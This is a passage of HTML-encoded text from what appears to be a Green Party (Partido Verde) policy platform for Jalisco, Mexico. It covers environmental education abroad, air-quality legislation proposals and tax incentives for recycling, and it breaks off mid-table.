subterr\u00e1nea<\/p>\n<\/td>\n<td>\n<p>3.9<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><strong>Degradaci\u00f3n<\/strong><\/p>\n<\/td>\n<td>\n<p><strong>86.4<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><strong>\u00a0\u00a0\u00a0Fuentes m\u00f3viles<\/strong><\/p>\n<\/td>\n<td>\n<p><strong>62.2<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Fuentes de \u00e1rea<\/p>\n<\/td>\n<td>\n<p>0.2<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Fuentes fijas<\/p>\n<\/td>\n<td>\n<p>2.2<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Contaminaci\u00f3n del agua<\/p>\n<\/td>\n<td>\n<p>4.9<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Residuos s\u00f3lidos<\/p>\n<\/td>\n<td>\n<p>7.1<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p>\u00a0\u00a0\u00a0Degradaci\u00f3n del suelo<\/p>\n<\/td>\n<td>\n<p>9.8<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Fuente: INEGI<\/p>\n<p>Como se puede apreciar en el recuadro los costos por deterioro ambiental se componen por una gama de fuentes, que van desde el agotamiento de los recursos naturales como los recursos forestales y el agua, hasta la contaminaci\u00f3n del aire, los residuos s\u00f3lidos y la degradaci\u00f3n del agua.<\/p>\n<p><strong>Pol\u00edtica comparada en Educaci\u00f3n ambiental<\/strong><\/p>\n<p>La educaci\u00f3n ambiental es una las mayores herramientas que han utilizado diversos pa\u00edses en el mundo, para hacer frente al cambio clim\u00e1tico, al agotamiento de recursos naturales y degradaci\u00f3n ambiental. Solo por citar unos ejemplos se enlistan los siguientes:<\/p>\n<p><strong>Estados Unidos<\/strong><\/p>\n<p>Estados Unidos desde 1990, incluy\u00f3 dentro de su legislaci\u00f3n la Ley Nacional de Educaci\u00f3n Ambiental, en donde se plasma el actuar del Gobierno Federal, de las instituciones educativas estatales, instituciones ambientalistas y del sector privado; para el desarrollo de planes de estudios y proyectos especiales en materia medio ambiental, en todos los niveles educativos e incentivando a los estudiantes de posgrado a seguir carreras relacionadas con el medio ambiente a trav\u00e9s de becas y premios medioambientales<a href=\"#_ftn13\" name=\"_ftnref13\"><sup>[13]<\/sup><\/a>.<\/p>\n<p><strong>Chile<\/strong><\/p>\n<p>En la Rep\u00fablica de Chile las reformas educativas de 1990 ya consideraban a la educaci\u00f3n ambiental como un objetivo fundamental de forma transversal del curr\u00edculum escolar<a href=\"#_ftn14\" name=\"_ftnref14\"><sup>[14]<\/sup><\/a>.<\/p>\n<p><strong>Espa\u00f1a<\/strong><\/p>\n<p>El auge de la educaci\u00f3n ambiental en Espa\u00f1a comienza a finales de los a\u00f1os sesenta, lleg\u00e1ndose a constituir en la d\u00e9cada de los ochenta gracias al esfuerzo de profesores y a la aportaci\u00f3n de los movimientos de renovaci\u00f3n pedag\u00f3gica, que crearon el clima adecuado para que el medio ambiente y sus problemas se incorporaran a la escuela, con la elaboraci\u00f3n de materiales y organizaciones de cursos, jornadas y congresos en la materia<a href=\"#_ftn15\" name=\"_ftnref15\"><sup>[15]<\/sup><\/a>.<\/p>\n<p><strong>Australia<\/strong><\/p>\n<p>La educaci\u00f3n ambiental empez\u00f3 a desarrollarse a mediados de los a\u00f1os sesenta, siendo hasta 1984 cuando los departamentos de los ministerios a cargo del Medio Ambiente crearon un Grupo de Trabajo en Educaci\u00f3n Ambiental con la finalidad de proteger la Naturaleza y el Medio Ambiente austriaco, con lo cual siguieron iniciativas como el Decreto sobre Educaci\u00f3n Ambiental en los centros escolares publicado, por el Ministerio Federal de Educaci\u00f3n y Arte en 1985.<\/p>\n<p><strong>Francia<\/strong><\/p>\n<p>Las acciones a favor de la educaci\u00f3n ambiental han estado orientadas a su integraci\u00f3n en la escolaridad obligatoria. Su implantaci\u00f3n se ha ido apoyando en los diversos textos normativos del Ministerio de Educaci\u00f3n Nacional tales como:<\/p>\n<p>La Carta Constitutiva de la Educaci\u00f3n Ambiental, publicada en 1977, la cual establece la Instrucci\u00f3n General sobre educaci\u00f3n ambiental de los alumnos en materia de Medio Ambiente.<\/p>\n<p>El Protocolo de 1983, firmado por el Ministerio de Educaci\u00f3n Nacional y el Ministerio de Medio Ambiente, el cual tiene la finalidad de fomentar una mayor integraci\u00f3n de los aspectos medioambientales en los programas de estudios y en la organizaci\u00f3n pedag\u00f3gica de los centros, con el fin de facilitar las actividades interdisciplinares sobre el Medio Ambiente.<\/p>\n<p>El Protocolo de 1993, en el que se integraron las aportaciones de la Conferencia de R\u00edo de Janeiro de 1992, con la intenci\u00f3n, que al concluir la ense\u00f1anza obligatoria a los 16 a\u00f1os, los alumnos tengan conocimientos medioambientales b\u00e1sicos para desenvolverse en sociedad.<\/p>\n<p><strong>Reino Unido<\/strong><\/p>\n<p>Ha situado el Desarrollo Sostenible en un lugar preponderante de la pol\u00edtica brit\u00e1nica, creando organismos para la defensa del Medio Ambiente, tales como el Comit\u00e9 del Gobierno Brit\u00e1nico en materia de Desarrollo Sostenible.<\/p>\n<p>Pero es a partir de la reforma de la ense\u00f1anza de 1988, cuando se establecen una serie de objetivos para los centros escolares con respecto a la implantaci\u00f3n de la educaci\u00f3n ambiental, en donde los problemas medioambientales pueden abordarse desde varias disciplinas obligatorias.<\/p>\n<p>Del estudio internacional descrito, no hay duda de ser dif\u00edcil, y en M\u00e9xico es necesario e inaplazable que dentro del proceso de formaci\u00f3n de los estudiantes, se contemple una materia con visi\u00f3n m\u00e1s amplia de la problem\u00e1tica ambiental, que concientice a las generaciones futuras de la gravedad del deterioro del medio ambiente y del impacto que este trae a la calidad de vida y al bienestar social.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Reformar mediante iniciativa de acuerdo legislativo el art\u00edculo 7 de la Ley General de Educaci\u00f3n para incorporar la materia de educaci\u00f3n ambiental como parte integral de la educaci\u00f3n que imparta el Estado, sus organismos descentralizados y los particulares con autorizaci\u00f3n.<\/li>\n<\/ul>\n<p>Donde se contemple un art\u00edculo transitorio, en el cual se determine la obligatoriedad, para que la Secretar\u00eda de Educaci\u00f3n P\u00fablica Federal en coordinaci\u00f3n con el Instituto Nacional para la Evaluaci\u00f3n de la Educaci\u00f3n y dem\u00e1s autoridades competentes, hagan efectiva una materia espec\u00edficamente sobre educaci\u00f3n ambiental, en todos los niveles del Sistema Educativo Nacional.<\/p>\n<ul>\n<li>Reformar la Ley de Educaci\u00f3n del Estado de Jalisco y los reglamentos respectivos de la materia con el fin de garantizar la educaci\u00f3n ambiental en todos los niveles educativos en las escuelas p\u00fablicas de la entidad, para crear conciencia a los estudiantes del cuidado y protecci\u00f3n ambiental.<\/li>\n<\/ul>\n<p><strong>TITULO: <\/strong><strong>POR UNA BUENA CALIDAD DEL AIRE<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Formular acciones para garantizar la calidad del aire, as\u00ed como la protecci\u00f3n y restauraci\u00f3n de la atmosfera, bajo el principio de concurrencia. Definiendo cuenca atmosf\u00e9rica para as\u00ed establecer los principios generales que deben privar en la gesti\u00f3n de la calidad del aire para promover que se asuman responsabilidades iguales, pero obligaciones diferenciadas con el fin de incentivar buenas pr\u00e1cticas y procesos que reduzcan las emisiones de contaminantes a la atm\u00f3sfera.<\/p>\n<p><strong>RESUMEN EJECUTIVO: <\/strong><\/p>\n<p>La contaminaci\u00f3n atmosf\u00e9rica es uno de los principales problemas ambientales de M\u00e9xico y del mundo. Evidentemente es un fen\u00f3meno que puede relacionarse con el crecimiento poblacional, pero sobre todo con su concentraci\u00f3n en grandes urbes, y la producci\u00f3n industrial en muchos sentidos, ya que esta se ha caracterizado porque en los centros poblacionales, sobre todo en los \u00faltimos 70 a\u00f1os se han desarrollado los procesos industriales que emiten contaminantes, alterando la calidad del aire y por ende la atm\u00f3sfera.<\/p>\n<p>Si bienes intangible, la atm\u00f3sfera terrestre es el bien com\u00fan m\u00e1s global en el planeta. Es una muy delgada pel\u00edcula, constituida por una masa gaseosa de composici\u00f3n pr\u00e1cticamente homog\u00e9nea que envuelve la tierra y que se mantiene unida al planeta por la fuerza de la gravedad.<\/p>\n<p>Entre sus funciones m\u00e1s importantes es la de proveer a los seres vivos de gases imprescindibles para la vida, forma parte del ciclo hidrol\u00f3gico, sirve de protecci\u00f3n a la vida terrestre\u00a0 frente a los rayos c\u00f3smicos y distribuye la energ\u00eda del Sol por toda la Tierra.<\/p>\n<p>Tiene un espesor de aproximadamente 1000 kil\u00f3metros y a su vez se divide en varias capas conc\u00e9ntricas sucesivas, que se extienden desde la superficie del planeta hacia el espacio exterior. Atendiendo a una clasificaci\u00f3n en funci\u00f3n de la distribuci\u00f3n de temperatura la podemos dividir en troposfera, estratosfera, mesosfera y termosfera.<\/p>\n<p>Esta capa gaseosa y la hidrosfera constituyen el sistema de capas fluidas terrestres, cuyas din\u00e1micas est\u00e1n estrechamente relacionadas, pues protegen la vida de la Tierra absorbiendo en la capa de ozono gran parte de la radiaci\u00f3n solar ultravioleta, reduciendo las diferencias de temperatura entre el d\u00eda y la noche.<\/p>\n<p>Esta delgada capa de nuestro planeta que representa una millon\u00e9sima parte de su masa, tiene un papel tan importante en la naturaleza, que es incluso fundamental en el sostenimiento de los procesos vitales.<\/p>\n<p>De acuerdo a los estudios conducidos por el Instituto Nacional de Ecolog\u00eda y Cambio Clim\u00e1tico, el aire est\u00e1 compuesto por la siguiente proporci\u00f3n de gases: nitr\u00f3geno en un 78%, ox\u00edgeno en un 21% y gases inertes en un 1%, que se mantienen virtualmente constantes en todo el planeta. Adem\u00e1s de estos gases presentes en forma permanente, tambi\u00e9n est\u00e1n otros gases que var\u00edan en su concentraci\u00f3n dependiendo de las caracter\u00edsticas de los ecosistemas y de las condiciones climatol\u00f3gicas. Entre ellos, se encuentran el vapor de agua (H2O), que puede variar entre 0 a 4%; el di\u00f3xido de carbono (CO2) que tiene una concentraci\u00f3n media global de 0.035%; y los gases llamados traza, que incluyen al metano (CH4), \u00f3xido nitroso (N2O), ozono (O3), material particulado (PM) y clorofluorocarbonos (CFC) que en conjunto poseen menos de 0.00017% por volumen de aire seco en la atm\u00f3sfera.<\/p>\n<p>La calidad del aire puede ser degradada por la variaci\u00f3n significativa de las proporciones en que est\u00e1n presentes sus distintos componentes o por la introducci\u00f3n en la atm\u00f3sfera de otros componentes gaseosos o de materia en forma de part\u00edculas (que es lo que suele llamarse en sentido restringido \u201ccontaminaci\u00f3n atmosf\u00e9rica\u201d).<\/p>\n<p>En t\u00e9rminos generales se reconocen tres tipos de fuentes contaminantes: las fuentes fijas dentro de las que se consideran las fuentes de emisiones que son estacionarias, es decir establecimientos, generalmente de gran tama\u00f1o, como pueden ser las plantas industriales; las fuentes m\u00f3viles, donde se incluyen diversos medios de transporte, que utilizan motores de combusti\u00f3n; las fuentes naturales que son aquellas que pueden generar emisiones de contaminantes pero son de origen natural como volcanes, o fuentes de origen geol\u00f3gico, y finalmente las fuentes de \u00e1rea que son aquellas estacionarias que son demasiado peque\u00f1as para ser registradas individualmente, como tintorer\u00edas o gasolineras.<\/p>\n<p>La contaminaci\u00f3n del aire genera efectos nocivos no s\u00f3lo respecto de la atm\u00f3sfera propiamente, sino tambi\u00e9n de la salud humana, la flora, la fauna y los bienes generales.<\/p>\n<p>Respecto al impacto que tiene la calidad del aire en la salud, la Organizaci\u00f3n Mundial de la Salud (OMS) ha determinado algunas directrices que establecen los par\u00e1metros para reducir de modo significativo los riesgos sanitarios. Se\u00f1alando que la contaminaci\u00f3n, tanto en espacios interiores como al aire libre, constituye un grave problema a la salud y al medio ambiente que afecta a los pa\u00edses desarrollados y en desarrollo por igual.<\/p>\n<p>Existen serios riesgos para la salud derivados de la exposici\u00f3n a las part\u00edculas en suspensi\u00f3n (PM) en numerosas ciudades, por lo que es posible establecer una relaci\u00f3n cuantitativa entre los niveles de contaminaci\u00f3n y el aumento de la mortalidad o la morbilidad.<\/p>\n<p>Las PM afectan a m\u00e1s personas que cualquier otro contaminante y sus principales componentes son los sulfatos, los nitratos, el amon\u00edaco, el cloruro s\u00f3dico, el carb\u00f3n, el polvo de minerales y el agua. Las PM consisten en una compleja mezcla de part\u00edculas l\u00edquidas y s\u00f3lidas de sustancias org\u00e1nicas e inorg\u00e1nicas suspendidas en el aire. Las part\u00edculas se clasifican en funci\u00f3n de su di\u00e1metro aerodin\u00e1mico en PM10 (part\u00edculas con un di\u00e1metro aerodin\u00e1mico inferior a 10 \u00b5m) y PM2.5 (di\u00e1metro aerodin\u00e1mico inferior a 2,5 \u00b5m). Estas \u00faltimas suponen mayor peligro porque, al inhalarlas, pueden alcanzar las zonas perif\u00e9ricas de los bronquiolos y alterar el intercambio pulmonar de gases.<\/p>\n<p>Los efectos de las PM sobre la salud se producen a los niveles de exposici\u00f3n a los que est\u00e1 sometida actualmente la mayor\u00eda de la poblaci\u00f3n urbana y rural de los pa\u00edses desarrollados y en desarrollo. La exposici\u00f3n cr\u00f3nica a las part\u00edculas aumenta el riesgo de enfermedades cardiovasculares y respiratorias, as\u00ed como de c\u00e1ncer de pulm\u00f3n.<\/p>\n<p>El ozono a nivel del suelo que no debe confundirse con la capa de ozono en la atm\u00f3sfera superior es uno de los principales componentes de la niebla t\u00f3xica. Niveles elevados de ozono puede causar problemas respiratorios, como asma, reducir la funci\u00f3n pulmonar y originar enfermedades pulmonares.<\/p>\n<p>Por su parte, el di\u00f3xido de nitr\u00f3geno (NO2) puede correlacionarse con varias actividades. En concentraciones de corta duraci\u00f3n superiores a 200 mg\/m<sup>3<\/sup>, es un gas t\u00f3xico que causa una importante inflamaci\u00f3n de las v\u00edas respiratorias.<\/p>\n<p>Es la fuente principal de los aerosoles de nitrato, que constituyen una parte importante de las PM2.5 y, en presencia de luz ultravioleta, del ozono.<\/p>\n<p>Las principales fuentes de emisiones antropog\u00e9nicas de NO2 son los procesos de combusti\u00f3n (calefacci\u00f3n, generaci\u00f3n de electricidad y motores de veh\u00edculos y barcos).<\/p>\n<p>El di\u00f3xido de azufre (SO2) que es un gas incoloro de olor penetrante que se genera con la combusti\u00f3n de f\u00f3siles (carb\u00f3n y petr\u00f3leo) y lo produce la calefacci\u00f3n dom\u00e9stica, la generaci\u00f3n de electricidad y los veh\u00edculos a motor. El deterioro de la calidad del aire o bien, la contaminaci\u00f3n atmosf\u00e9rica representa no solo un problema de salud p\u00fablica, sino que tiene un impacto considerable en la econom\u00eda de todas las naciones.<\/p>\n<p>Dentro de las principales repercusiones econ\u00f3micas de la contaminaci\u00f3n del aire podemos identificar las p\u00e9rdidas por efectos directos o indirectos en la salud humana, en el ganado y en las plantas; p\u00e9rdidas por la corrosi\u00f3n de materiales y de sus revestimientos de protecci\u00f3n; p\u00e9rdidas por gastos de mantenimiento de las edificaciones y la depreciaci\u00f3n de objetos y mercanc\u00edas expuestos. Este fen\u00f3meno ocasiona gastos por la aplicaci\u00f3n de medidas t\u00e9cnicas para suprimir o reducir el humo y las emanaciones de las f\u00e1bricas y, p\u00e9rdidas indirectas por mayores gastos de transporte en tiempo de niebla contaminada, o de electricidad por la necesidad de encender el alumbrado antes del horario establecido.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Para la Gesti\u00f3n integral de la calidad del aire, es fundamental un esquema de delimitaci\u00f3n, caracterizaci\u00f3n y clasificaci\u00f3n de cuencas atmosf\u00e9ricas del territorio nacional a fin de implementar programas, medidas y acciones tendientes a mitigar y reducir emisiones contaminantes al aire.<\/p>\n<p>Con este fin se establecen Instrumentos de pol\u00edtica estatal en materia de calidad del aire, que promueva la reducci\u00f3n de emisiones a fin de mejorar la calidad el aire en nuestro Estado y con ello atender al principio de acciones locales para un efecto global en pro de la protecci\u00f3n de la atm\u00f3sfera.<\/p>\n<p>Los principales Instrumentos ser\u00e1n generar un\u00a0 Programa Estatal de Gesti\u00f3n de la Calidad del Aire y Protecci\u00f3n a la Atm\u00f3sfera, que permitir\u00e1 establecer una estrategia intermunicipal para dicha gesti\u00f3n y que tendr\u00e1 como sustento el Diagn\u00f3stico que proporcionar\u00e1 informaci\u00f3n b\u00e1sica de las concentraciones hist\u00f3ricas, actuales y tendencias de los contaminantes en cada municipio, a fin de identificar las necesidades en la gesti\u00f3n de la calidad del aire.<\/p>\n<p>Adicionalmente se estructuran otros programas que permitan la adecuada Gesti\u00f3n de Calidad del Aire de la Verificaci\u00f3n Vehicular, y de Contingencias Ambientales Atmosf\u00e9ricas, esto con la debida implementaci\u00f3n del Fondo Estatal de Protecci\u00f3n al ambiente que fue aprobado en el 2016.<\/p>\n<p>Asimismo, es necesario establecer las bases para poder integrar un Sistema de Informaci\u00f3n de la Calidad del Aire y Emisiones, que re\u00fana y difunda los datos principales para la gesti\u00f3n de la calidad del aire y la protecci\u00f3n a la atm\u00f3sfera con datos generados por los sistemas de monitoreo, as\u00ed como los inventarios de emisiones a la atm\u00f3sfera en cada uno de los 125 municipios del Estado, esto para mantener una coordinaci\u00f3n que nos permita alertar a la ciudadan\u00eda de las condiciones atmosf\u00e9ricas.<\/p>\n<p>Consideramos que es relevante tener Sistemas de Monitoreo de la Calidad del Aire, en el Estado y desde luego mantener no s\u00f3lo una coordinaci\u00f3n en la entidad sino que conjunto con las otras Entidades Federativas, as\u00ed como con la federaci\u00f3n, por lo que buscaremos incidir para\u00a0 promover el establecimiento y operaci\u00f3n de sistemas de monitoreo de la calidad del aire en cuencas atmosf\u00e9ricas, zonas metropolitanas, conurbaciones con poblaciones de m\u00e1s de quinientos mil habitantes, o con emisiones superiores a veinte mil toneladas anuales de contaminantes criterio a la atm\u00f3sfera.<\/p>\n<p>La atenci\u00f3n e intervenci\u00f3n en el sector ladrillero en el Estado, es esencial, es por ello que desde Jalisco, trabajaremos para mitigar la contaminaci\u00f3n que produce \u00e9ste sector tan importante en nuestro Estado. Se estima que existen un aproximado de 2,500 ladrilleras artesanales, posicion\u00e1ndonos como\u00a0 la segunda entidad del pa\u00eds con mayor cantidad de estos giros, y aproximadamente la mitad se encuentran dentro del \u00c1rea Metropolitana de Guadalajara, por lo que sus emisiones contaminantes abonan al deterioro de la calidad del aire.<\/p>\n<p>Con el objetivo de atender esta problem\u00e1tica, haremos un an\u00e1lisis y diagn\u00f3stico que nos permita conocer la actividad, los retos y oportunidades que representa el intervenir a trav\u00e9s de una propuesta para transitar a una cadena productiva de bajo carbono, lo que a su vez podr\u00eda ser replicable en otros sectores productivos para establecer l\u00edneas de acci\u00f3n m\u00e1s concretas para atender la problem\u00e1tica asociada a la informalidad de la actividad, as\u00ed como sus implicaciones ambientales y sociales al emitir contaminantes que afectan la salud de los productores y los habitantes de las comunidades aleda\u00f1as.<\/p>\n<p><strong>EN EL PARTIDO VERDE PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Incorporar en la Ley General del Equilibrio Ecol\u00f3gico y Protecci\u00f3n al Ambiente la definici\u00f3n de \u201cCuenca atmosf\u00e9rica\u201d, para garantizar una gesti\u00f3n de la calidad del aire eficiente y eficaz.<\/li>\n<li>Incluir en las facultades de la SEMARNAT las siguientes, en materia de calidad del aire y cuencas atmosf\u00e9ricas.<\/li>\n<li>Formular, conducir y evaluar la pol\u00edtica nacional en materia de gesti\u00f3n de la calidad del aire y protecci\u00f3n de la atm\u00f3sfera, basada en un sistema de cuencas atmosf\u00e9ricas.<\/li>\n<li>Elaborar el Programa Nacional de Gesti\u00f3n Calidad del Aire y Protecci\u00f3n a la Atm\u00f3sfera.<\/li>\n<li>Delimitar las cuencas atmosf\u00e9ricas, determinar su capacidad de asimilaci\u00f3n y definir los niveles m\u00e1ximos permisibles de emisi\u00f3n de contaminantes al aire en una cuenca atmosf\u00e9rica.<\/li>\n<li>Elaborar, aplicar y evaluar programas para la reducci\u00f3n de emisiones de contaminantes, con base en la calidad del aire de cada cuenca atmosf\u00e9rica.<\/li>\n<li>Establecer pol\u00edticas, programas y lineamientos que permitan reducir las emisiones de las fuentes m\u00f3viles.<\/li>\n<li>Desarrollar y fomentar, en coordinaci\u00f3n con otras dependencias del Gobierno Federal programas de desarrollo rural, estrategias y programas de eficiencia energ\u00e9tica, promoci\u00f3n de energ\u00edas alternativas, estrategias de adopci\u00f3n de tecnolog\u00edas limpias y de verificaci\u00f3n vehicular para el transporte p\u00fablico federal, as\u00ed como programas de desarrollo urbano y ordenaci\u00f3n del territorio nacional que permitan mejorar la calidad del aire.<\/li>\n<li>Elaborar, publicar y mantener actualizado el Sistema de Informaci\u00f3n Nacional de Calidad del Aire y Emisiones e integrarlo al Sistema Nacional de Informaci\u00f3n Ambiental y de Recursos Naturales, que establece la Ley General del Equilibrio Ecol\u00f3gico y la Protecci\u00f3n al Ambiente.<\/li>\n<li>Incorporar en la Ley Estatal del Equilibrio Ecol\u00f3gico y Protecci\u00f3n al Ambiente la definici\u00f3n de \u201cCuenca atmosf\u00e9rica\u201d, para garantizar una gesti\u00f3n de la calidad del aire eficiente y eficaz.<\/li>\n<li>Incluir en las facultades de la Secretar\u00eda de Medio Ambiente y Desarrollo Territorial el conocer respecto de materia de calidad del aire y cuencas atmosf\u00e9ricas:<\/li>\n<li>Formular, conducir y evaluar la pol\u00edtica p\u00fablica estatal de gesti\u00f3n de la calidad del aire y protecci\u00f3n de la atm\u00f3sfera, basada en un sistema de cuencas atmosf\u00e9ricas.<\/li>\n<li>Elaborar el Programa de Gesti\u00f3n de Calidad del Aire y Protecci\u00f3n a la Atm\u00f3sfera.<\/li>\n<li>Delimitar las cuencas atmosf\u00e9ricas del Estado, para determinar su capacidad de asimilaci\u00f3n y definir los niveles m\u00e1ximos permisibles de emisi\u00f3n de contaminantes al aire.<\/li>\n<li>Elaborar, aplicar y evaluar programas para la reducci\u00f3n de emisiones de contaminantes, con base en la calidad del aire de cada cuenca atmosf\u00e9rica.<\/li>\n<li>Establecer pol\u00edticas, programas y lineamientos que permitan reducir las emisiones de las fuentes m\u00f3viles.<\/li>\n<li>Desarrollar y fomentar, en coordinaci\u00f3n con los municipios y la Agencia de Energ\u00eda del Estado programas de desarrollo rural, estrategias y programas de eficiencia energ\u00e9tica, promoci\u00f3n de energ\u00edas alternativas, estrategias de adopci\u00f3n de tecnolog\u00edas limpias y de verificaci\u00f3n vehicular para el transporte p\u00fablico federal, as\u00ed como programas de desarrollo urbano y ordenaci\u00f3n del territorio nacional que permitan mejorar la calidad del aire.<\/li>\n<li>Buscar alternativas sustentables en los municipios del Estado que cuenten con ladrilleras a efecto de mitigar la contaminaci\u00f3n que producen.<\/li>\n<li>Eficientar la aplicaci\u00f3n del Fondo Estatal de Protecci\u00f3n al Ambiente para que se generen Programas Estrat\u00e9gicos que permitan mejorar la calidad del aire en el Estado.<\/li>\n<li>Garantizar el que el nuevo programa de verificaci\u00f3n vehicular se aplique en el Estado, a efecto de que las fuentes m\u00f3viles cumplan los m\u00e1s altos est\u00e1ndares de calidad, disminuyendo el impacto ambiental que generen.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: <\/strong><strong>REFORMA FISCAL EN APOYO AL RECICLAJE<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>En Jalisco, durante los \u00faltimos a\u00f1os las pol\u00edticas p\u00fablicas implementadas han sido encaminadas a transitar a lo que com\u00fanmente se conoce como \u201ceconom\u00eda verde\u201d, cuyo objetivo, de acuerdo con el Programa de las Naciones Unidas para el Medio Ambiente<a href=\"#_ftn16\" name=\"_ftnref16\"><sup>[16]<\/sup><\/a>, es contribuir a mejorar el bienestar de las personas y la equidad social, as\u00ed como reducir la escasez de recursos ambientales.<\/p>\n<p>El reciclaje es un eslab\u00f3n primordial de la econom\u00eda verde. Es una industria o sector de la econom\u00eda que requiere de incentivos para su desarrollo, considerando los beneficios que puede aportar a la sociedad, desde el punto de vista econ\u00f3mico, ambiental y social.<\/p>\n<p>De acuerdo con el Instituto Nacional de Estad\u00edstica y Geograf\u00eda (INEGI), si bien el n\u00famero de personas empleadas en el sector se ha incrementado 44% desde 2008, las remuneraciones por persona, los ingresos generados y sus gastos erogados han disminuido desde el mismo a\u00f1o en 2.6; 26.1 y16.2%<a href=\"#_ftn17\" name=\"_ftnref17\"><sup>[17]<\/sup><\/a>, respectivamente. Lo anterior revela el estancamiento del sector.<\/p>\n<p>Por otro lado, se detectan posibles incentivos perversos en la legislaci\u00f3n fiscal actual, particularmente en lo que se refiere al R\u00e9gimen de Incorporaci\u00f3n Fiscal (RIF) establecido en la Ley del Impuesto sobre la Renta (LISR). El hecho de que el RIF sea aplicable solamente a personas f\u00edsicas puede estar generando que no se crean empresas (o personas morales).<\/p>\n<p><strong>RESUMEN EJECUTIVO: <\/strong><\/p>\n<p>La industria del reciclaje aporta beneficios econ\u00f3micos y ambientales al pa\u00eds. Uno de los primeros pasos para el manejo integral de residuos es su recolecci\u00f3n selectiva para su posterior reciclaje, todo en beneficio del medio ambiente. Sin embargo, para el caso del reciclaje en Jalisco, esta pr\u00e1ctica presenta algunas dificultades entre las que destacan los pocos u nulos incentivos fiscales para esta industria.<\/p>\n<p>Asi mismo es importante el seguir apostando por la certificaci\u00f3n voluntaria de las empresas de nuestro Estado, para ello es importante de dotar de est\u00edmulos fiscales para que m\u00e1s empresas se certifiquen y contribuyan al buen ejercicio de la actividad p\u00fablica.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>En la actualidad, y pese a los beneficios del reciclaje, se detecta una fuerte carga fiscal para la industria, lo que desincentiva su desarrollo, principalmente en lo que refiere al acopio o recolecci\u00f3n selectiva de residuos.<\/p>\n<p>Quienes realizan esta actividad deben pagar el 16% del Impuesto al Valor Agregado (IVA) y el 5% del Impuesto sobre la Renta (ISR). El IVA le es trasladado al adquiriente (por primera vez), quien lo retiene junto con el ISR y luego lo declara ante el fisco. Lo anterior se hace a trav\u00e9s de una \u201cautofactura\u201d, para lo cual el adquiriente debe dar de alta al recolector ante el SAT<a href=\"#_ftn18\" name=\"_ftnref18\"><sup>[18]<\/sup><\/a>.<\/p>\n<p>Lo anterior significa que, a pesar de que la recolecci\u00f3n selectiva de residuos pudiera considerarse primer eslab\u00f3n en una cadena de producci\u00f3n (como materia prima), no recibe el mismo tratamiento que otras materias primas, para las cuales la tasa de IVA es del 0%. Adem\u00e1s de la carga administrativa que implica el esquema planteado para los adquirientes del material para reciclaje.<\/p>\n<p>A partir de 2014 se reform\u00f3 la LISR y se crearon nuevos reg\u00edmenes fiscales, entre los que destacan el RIF y el R\u00e9gimen de actividades agr\u00edcolas, ganaderas, silv\u00edcolas y pesqueras. En principio, se busc\u00f3 ampliar la base de contribuyentes, lo que se logr\u00f3.<\/p>\n<p>De acuerdo con informaci\u00f3n del Servicio de Administraci\u00f3n Tributaria (SAT), de la Secretar\u00eda de Hacienda y Cr\u00e9dito P\u00fablico (SHCP), al mes de septiembre de 2017 hab\u00eda un total de 65.9 millones de contribuyentes en el pa\u00eds, de los cuales 63 millones se encontraban activos<a href=\"#_ftn19\" name=\"_ftnref19\"><sup>[19]<\/sup><\/a>. Cabe se\u00f1alar, que seg\u00fan el propio SAT, es posible que un contribuyente tribute en m\u00e1s de un r\u00e9gimen fiscal, por lo que el n\u00famero real de contribuyentes puede ser menor.<\/p>\n<p>Del total de contribuyentes, el 60.8 por ciento corresponde a asalariados (40.0 millones), el 18.5 por ciento (12.2 millones) se presenta como \u201csin obligaciones fiscales\u201d y el 9.9 por ciento corresponde a la suma de los contribuyentes dentro del RIF (4.9 millones) m\u00e1s lo que est\u00e1n dentro del R\u00e9gimen de actividades agr\u00edcolas, ganaderas, silv\u00edcolas y pesqueras(1.6 millones).<\/p>\n<p>En diciembre de 2013, el n\u00famero de contribuyentes era considerablemente menor, pero con una distribuci\u00f3n distinta a la que se observ\u00f3 en diciembre de 2016<a href=\"#_ftn20\" name=\"_ftnref20\"><sup>[20]<\/sup><\/a>.<\/p>\n<table width=\"576\">\n<thead>\n<tr>\n<td width=\"160\">\n<p><strong>R\u00e9gimen<\/strong><\/p>\n<\/td>\n<td width=\"134\">\n<p><strong>Diciembre 2013<\/strong><\/p>\n<\/td>\n<td width=\"147\">\n<p><strong>Diciembre 2016<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>Diferencia<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"160\">\n<p>Total<\/p>\n<\/td>\n<td width=\"134\">\n<p>44.6 millones (100.0%)<\/p>\n<\/td>\n<td width=\"147\">\n<p>59.4 millones (100.0%)<\/p>\n<\/td>\n<td width=\"135\">\n<p>14.8 millones (33%)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p>Sueldos y salarios e ingresos asimilados a salarios<\/p>\n<\/td>\n<td width=\"134\">\n<p>28.2 millones (63.3%)<\/p>\n<\/td>\n<td width=\"147\">\n<p>34.9 millones (58.8%)<\/p>\n<\/td>\n<td width=\"135\">\n<p>6.7 millones (23%)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p>Sin obligaciones fiscales<\/p>\n<\/td>\n<td width=\"134\">\n<p>3.8 millones (8.5%)<\/p>\n<\/td>\n<td width=\"147\">\n<p>11.4 millones 